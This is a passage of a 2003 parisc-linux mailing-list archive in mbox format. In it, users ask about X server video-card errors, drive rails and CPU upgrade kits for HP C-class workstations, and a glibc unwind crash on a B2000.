<DIV><FONT face=3DArial size=3D2>Thank You a lot for =
helping.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Giovanni</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>p.s i've search for helping, i found =
something but=20
i'don't understand how to edit (what comands) the XF86Config=20
file.</FONT></DIV></BODY></HTML>

------=_NextPart_000_0005_01C31096.F754E260--



From - Thu Nov 08 21:27:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jurriaan Kalkman" <Jurriaan.Kalkman@zrt.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Betr.: [parisc-linux] Video card
Date: Thu, 01 May 2003 11:55:16 +0200
Lines: 34
Approved: news@gmane.org
Message-ID: <seb10df6.002@ms-zrt1>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622421 25064 80.91.229.3 (22 Nov 2014 02:13:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:41 +0000 (UTC)
To: <wrx@hispeed.ch>, <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May  1 04:10:32 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from ns.zrt.nl (ns.zrt.nl [212.153.94.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3D332482E
	for <parisc-linux@parisc-linux.org>; Thu,  1 May 2003 04:10:31 -0600 (MDT)
Original-Received: (from fwmaster@localhost) by ns.zrt.nl (8.9.3c/8.6.12) id MAA29184 for <parisc-linux@parisc-linux.org>; Thu, 1 May 2003 12:10:30 +0200 (MET DST)
Original-Received: by zrt01.zrt.nl (TUNIX txp2/smap)
	for <parisc-linux@parisc-linux.org> id sma028518; Thu, 1 May 03 12:09:15 +0200
Original-Received: from Rivierenland-Message_Server by ms-zrt1
	with Novell_GroupWise; Thu, 01 May 2003 12:07:18 +0200
X-Mailer: Novell GroupWise 5.5.2
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18368

>Hello,
>
>I've installed the Debian PA-Risc in a C360 HP Desktop.
>I have problem with my video card, at the end when i type startx, come =
the message"fatal error, no screens found".
>Can You please help me how can i let it work?
>
>I'm new in this operating system, please write me down what step's and =
how i must do.
>
It's in the archives for this mailinglist. Also, with this kind of error, =
the exact model
of the videocard is important, and you don't mention it.

>Thank You a lot for helping.
>
>Giovanni
>
>p.s i've search for helping, i found something but i'don't understand how =
to edit (what comands) the XF86Config file.

If you don't know how to edit a file, may I politely suggest not starting
with linux on the PA-RISC architecture? It's one of the faster-moving
linux-versions, where not everything is expected to work, and some
work (ie searching the archives) is to be expected.

Perhaps a nice Knoppix-cd on a regular x86 PC would be better
to start with? Your experience with Linux will certainly be more to
your liking then.

Kind regards,
Jurriaan



From - Thu Nov 08 21:27:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chris Jantzen <chris-parisc@maybe.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] (OT-ish): c180 drive rails?
Date: Fri, 2 May 2003 18:23:47 -0700
Lines: 9
Approved: news@gmane.org
Message-ID: <20030503012347.GD18048@maybe.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622421 25074 80.91.229.3 (22 Nov 2014 02:13:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:41 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May  2 19:23:48 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.maybe.net (12-231-234-80.client.attbi.com [12.231.234.80])
	by dsl2.external.hp.com (Postfix) with ESMTP id A59E3482D
	for <parisc-linux@lists.parisc-linux.org>; Fri,  2 May 2003 19:23:48 -0600 (MDT)
Original-Received: (qmail 16257 invoked by uid 1000); 3 May 2003 01:23:47 -0000
Content-Disposition: inline
User-Agent: Mutt/1.5.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18369

Slightly off-topic: I came across a perfect match for the 4GB HVD
Seagate already in my C180, but don't have any rails. Wondered if
anybody here knew a good place, or had some lying around.

-- 
chris jantzen kb7rnl =->         __O
Insert witty comment here.     _`\<,_
http://www.maybe.net/         (*)/ (*)


From - Thu Nov 08 21:27:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: eric@cirr.com (Eric Schnoebelen)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] (OT-ish): c180 drive rails?
Date: Fri, 02 May 2003 22:25:45 -0500
Lines: 15
Approved: news@gmane.org
Message-ID: <200305030325.h433Pjd12573@egsner.cirr.com>
References: <20030503012347.GD18048@maybe.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416622422 25079 80.91.229.3 (22 Nov 2014 02:13:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May  2 21:25:47 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from egsner.cirr.com (mail.cirr.com [192.67.63.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id C11434832
	for <parisc-linux@lists.parisc-linux.org>; Fri,  2 May 2003 21:25:46 -0600 (MDT)
Original-Received: from cirr.com (IDENT:eric@mail.cirr.com [192.67.63.1])
	by egsner.cirr.com (8.11.6p2/8.11.6/$Revision: 1.12 $)  with ESMTP
	id h433Pjd12573 for <parisc-linux@lists.parisc-linux.org>; Fri, 2 May 2003 22:25:45 -0500 (CDT)
In-reply-to: Your message of "Fri, 02 May 2003 18:23:47 PDT."
             <20030503012347.GD18048@maybe.net> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18370

Chris Jantzen writes:
- Slightly off-topic: I came across a perfect match for the 4GB HVD
- Seagate already in my C180, but don't have any rails. Wondered if
- anybody here knew a good place, or had some lying around.

	They are still available from HP, if you can find a
co-operative SE or FE to order them for you.. (They were listed
in partsdirect.hp.com at one point, but when I ordered them,
they went on backorder, and I had to call to find out why.. :-()

--
Eric Schnoebelen		eric@cirr.com		http://www.cirr.com
		Life is hard but the root password helps.
		    - seen on the misc@ OpenBSD mailing list


From - Thu Nov 08 21:27:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] (OT-ish): c180 drive rails?
Date: Fri, 2 May 2003 20:44:33 -0700 (PDT)
Lines: 40
Approved: news@gmane.org
Message-ID: <20030503034433.96180.qmail@web12503.mail.yahoo.com>
References: <200305030325.h433Pjd12573@egsner.cirr.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="0-540082675-1051933473=:96153"
X-Trace: ger.gmane.org 1416622422 25082 80.91.229.3 (22 Nov 2014 02:13:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:42 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May  2 21:44:34 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12503.mail.yahoo.com (web12503.mail.yahoo.com [216.136.173.195])
	by dsl2.external.hp.com (Postfix) with SMTP id 558BB4837
	for <parisc-linux@lists.parisc-linux.org>; Fri,  2 May 2003 21:44:34 -0600 (MDT)
Original-Received: from [66.188.204.61] by web12503.mail.yahoo.com via HTTP; Fri, 02 May 2003 20:44:33 PDT
In-Reply-To: <200305030325.h433Pjd12573@egsner.cirr.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18371

--0-540082675-1051933473=:96153
Content-Type: text/plain; charset=us-ascii

They are out on Ebay all the time, but none up right now that I can find. derek

Eric Schnoebelen <eric@cirr.com> wrote:
Chris Jantzen writes:
- Slightly off-topic: I came across a perfect match for the 4GB HVD
- Seagate already in my C180, but don't have any rails. Wondered if
- anybody here knew a good place, or had some lying around.

They are still available from HP, if you can find a
co-operative SE or FE to order them for you.. (They were listed
in partsdirect.hp.com at one point, but when I ordered them,
they went on backorder, and I had to call to find out why.. :-()

--
Eric Schnoebelen eric@cirr.com http://www.cirr.com
Life is hard but the root password helps.
- seen on the misc@ OpenBSD mailing list
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

---------------------------------
Do you Yahoo!?
The New Yahoo! Search - Faster. Easier. Bingo.
--0-540082675-1051933473=:96153
Content-Type: text/html; charset=us-ascii

<DIV>They are out on Ebay all the time, but none up right now that I can find.</DIV>
<DIV>&nbsp;</DIV>
<DIV>derek<BR><BR><B><I>Eric Schnoebelen &lt;eric@cirr.com&gt;</I></B> wrote:</DIV>
<BLOCKQUOTE style="PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #1010ff 2px solid"><BR>Chris Jantzen writes:<BR>- Slightly off-topic: I came across a perfect match for the 4GB HVD<BR>- Seagate already in my C180, but don't have any rails. Wondered if<BR>- anybody here knew a good place, or had some lying around.<BR><BR>They are still available from HP, if you can find a<BR>co-operative SE or FE to order them for you.. (They were listed<BR>in partsdirect.hp.com at one point, but when I ordered them,<BR>they went on backorder, and I had to call to find out why.. :-()<BR><BR>--<BR>Eric Schnoebelen eric@cirr.com http://www.cirr.com<BR>Life is hard but the root password helps.<BR>- seen on the misc@ OpenBSD mailing list<BR>_______________________________________________<BR>parisc-linux mai
 ling list<BR>parisc-linux@lists.parisc-linux.org<BR>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux</BLOCKQUOTE><p><hr SIZE=1>
Do you Yahoo!?<br>
<a href="http://us.rd.yahoo.com/search/mailsig/*http://search.yahoo.com">The New Yahoo! Search</a> - Faster. Easier. Bingo.
--0-540082675-1051933473=:96153--


From - Thu Nov 08 21:27:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Program counter from sigcontext, constructurs
 and -fPIC
Date: Sat, 03 May 2003 20:48:32 +0000
Lines: 38
Approved: news@gmane.org
Message-ID: <3EB42B20.1010504@tiscali.be>
References: <20030430003106.GC12492@systemhalted> <3EA9466400001A95@ocpmta7.freegates.net> <20030430181216.GA20779@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622422 25087 80.91.229.3 (22 Nov 2014 02:13:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:42 +0000 (UTC)
Cc: Joel Soete <jsoe0708@tiscali.be>,
	parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat May  3 14:35:32 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 41A1B482C
	for <parisc-linux@lists.parisc-linux.org>; Sat,  3 May 2003 14:35:32 -0600 (MDT)
Original-Received: from mail by smtp-out.tiscali.be with dcc (Tiscali) 
	id 19C3jD-0006Np-00; Sat, 03 May 2003 22:35:27 +0200
Original-Received: from [62.235.173.84] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 19C3jC-0006MS-00; Sat, 03 May 2003 22:35:26 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3) Gecko/20030430 Debian/1.3-5
X-Accept-Language: en
In-Reply-To: <20030430181216.GA20779@systemhalted>
X-DCC-neonova-Metrics: spm3 1127; Body=4 Fuz1=4 Fuz2=4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18372

Carlos O'Donell wrote:

>>>Don't touch -17, the _Unwind_Find_FDE code broke and it's doing damage
>>>to things like 'vi' ... *sigh* I haven't even looked into this (looks
>>>like gcc/glibc clashes again).
>>>
>>>      
>>>
>>Umm could this be why that my b2k crashed when compiling a kernel to test
>>a patch?
>>    
>>
>
>Quite possibly. If you can get a backtrace of the crash you'll se it die
>inside _Unwind_Find_FDE in glibc.
>
I couldn't anymore check because unfortunately even after comming back 
to libc6 sub debian release -16 my b2k crashes severall times. The last 
time was badly in the middle of a apt-get dist-upgrade; this crash 
corrupt the root fs so that it isn't any more usable. I will try to 
recover it asap to check.

That said, I suspect more another hw pb (it is not the first time with 
this b2k model on which hp had already have to replace the cpu) or a bug 
into cd-ide driver (this is the only model I had the chance to test with 
this kind of feature).

> 
>I'm working on fixing this.
>
>  
>
Thanks for your attention,
    Joel





From - Thu Nov 08 21:27:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tom <tom@alaskatech.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] {kinda OT] A4947A applicability? and FC driver work
Date: Sat, 03 May 2003 19:54:57 -0800
Lines: 12
Approved: news@gmane.org
Message-ID: <1052020498.27841.7.camel@daily>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1416622423 25096 80.91.229.3 (22 Nov 2014 02:13:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:43 +0000 (UTC)
To: PARisc-Linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat May  3 21:55:10 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mmp-2.gci.net (mmp-2.gci.net [208.138.130.81])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0C111483A
	for <parisc-linux@lists.parisc-linux.org>; Sat,  3 May 2003 21:55:10 -0600 (MDT)
Original-Received: from localhost.localdomain
 (rdbck-303.palmer.mtaonline.net [12.32.63.50])
 by mmp-2.gci.net (iPlanet Messaging Server 5.2 HotFix 1.14 (built Mar 18
 2003)) with ESMTPA id <0HEC00E3CG7MV3@mmp-2.gci.net> for
 parisc-linux@lists.parisc-linux.org; Sat, 03 May 2003 19:54:59 -0800 (AKDT)
X-Mailer: Ximian Evolution 1.0.5
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18373

I found one of these kits on eBay - C200 to C240 upgrade, CPU on
mainboard. Do any of the HP techs around here know if it'll also fit a
C180? It'd be nice to drop a large performance upgrade into it for not
much cash...

Also, after the thread on fiber-card drivers, I realized my C180 has a
fiber card in it. It's completely unused - if someone could use it in an
attempt to further driver support I'd happily donate it... As soon as I
get a chance to shut it down and tear it open I'll pull the part # off
of it...



From - Thu Nov 08 21:27:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] {kinda OT] A4947A applicability? and FC driver work
Date: Sun, 4 May 2003 05:17:15 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <20030504041715.GH31610@parcelfarce.linux.theplanet.co.uk>
References: <1052020498.27841.7.camel@daily>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622423 25104 80.91.229.3 (22 Nov 2014 02:13:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:43 +0000 (UTC)
Cc: PARisc-Linux <parisc-linux@lists.parisc-linux.org>
To: Tom <tom@alaskatech.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat May  3 22:17:17 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 99FEA483E
	for <parisc-linux@lists.parisc-linux.org>; Sat,  3 May 2003 22:17:17 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19CAw7-0001Os-M9; Sun, 04 May 2003 05:17:15 +0100
Content-Disposition: inline
In-Reply-To: <1052020498.27841.7.camel@daily>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18374

On Sat, May 03, 2003 at 07:54:57PM -0800, Tom wrote:
> I found one of these kits on eBay - C200 to C240 upgrade, CPU on
> mainboard. Do any of the HP techs around here know if it'll also fit a
> C180? It'd be nice to drop a large performance upgrade into it for not
> much cash...

Well... it'll _fit_.  Whether firmware will work properly is anyone's
guess.  There's various differences between the C180 and C200 that
make this combination not sure to succeed.  My personal opinion (and
not speaking on behalf of my emplyer) is that it's going to work 90%.
Maybe the onboard scsi controller won't be initialised properly.
Maybe the missing bit of init won't make any difference to Linux or
maybe it'll start corrupting data.  It's a bit of a gamble.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:27:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Berthold Gunreben <b.gunreben@web.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] {kinda OT] A4947A applicability? and FC driver work
Date: Sun, 4 May 2003 14:25:05 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <200305041008.49439.b.gunreben@web.de>
References: <1052020498.27841.7.camel@daily> <20030504041715.GH31610@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622423 25110 80.91.229.3 (22 Nov 2014 02:13:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:43 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun May  4 06:23:51 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.web.de (smtp01.web.de [217.72.192.180])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2B08C4834
	for <parisc-linux@lists.parisc-linux.org>; Sun,  4 May 2003 06:23:51 -0600 (MDT)
Original-Received: from [145.254.236.155] (helo=dialin-145-254-236-155.arcor-ip.net)
	by smtp.web.de with asmtp (WEB.DE 4.98 #218)
	id 19CIWz-0002vv-00
	for parisc-linux@lists.parisc-linux.org; Sun, 04 May 2003 14:23:49 +0200
User-Agent: KMail/1.5.1
In-Reply-To: <20030504041715.GH31610@parcelfarce.linux.theplanet.co.uk>
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18375

Am Sonntag, 4. Mai 2003 06:17 schrieb Matthew Wilcox:
> On Sat, May 03, 2003 at 07:54:57PM -0800, Tom wrote:
> > I found one of these kits on eBay - C200 to C240 upgrade, CPU on
> > mainboard. Do any of the HP techs around here know if it'll also fit a
> > C180? It'd be nice to drop a large performance upgrade into it for not
> > much cash...
>
> Well... it'll _fit_.  Whether firmware will work properly is anyone's
> guess. There's various differences between the C180 and C200 that
> make this combination not sure to succeed.  My personal opinion (and
> not speaking on behalf of my emplyer) is that it's going to work 90%.

I don=B4t think you will be very happy with it. One of the bigger problems =
will=20
be your power supply. The C240 has a much stronger power supply (at least t=
he=20
one that I have) than the C180.=20

> Maybe the onboard scsi controller won't be initialised properly.
> Maybe the missing bit of init won't make any difference to Linux or
> maybe it'll start corrupting data.  It's a bit of a gamble.



From - Thu Nov 08 21:27:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] {kinda OT] A4947A applicability? and FC driver work
Date: Sun, 4 May 2003 09:15:33 -0700 (PDT)
Lines: 47
Approved: news@gmane.org
Message-ID: <20030504161533.44634.qmail@web12501.mail.yahoo.com>
References: <200305041008.49439.b.gunreben@web.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="0-177053345-1052064933=:44529"
X-Trace: ger.gmane.org 1416622424 25111 80.91.229.3 (22 Nov 2014 02:13:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:44 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun May  4 10:15:34 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12501.mail.yahoo.com (web12501.mail.yahoo.com [216.136.173.193])
	by dsl2.external.hp.com (Postfix) with SMTP id 405B44839
	for <parisc-linux@lists.parisc-linux.org>; Sun,  4 May 2003 10:15:34 -0600 (MDT)
Original-Received: from [66.188.204.61] by web12501.mail.yahoo.com via HTTP; Sun, 04 May 2003 09:15:33 PDT
In-Reply-To: <200305041008.49439.b.gunreben@web.de>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
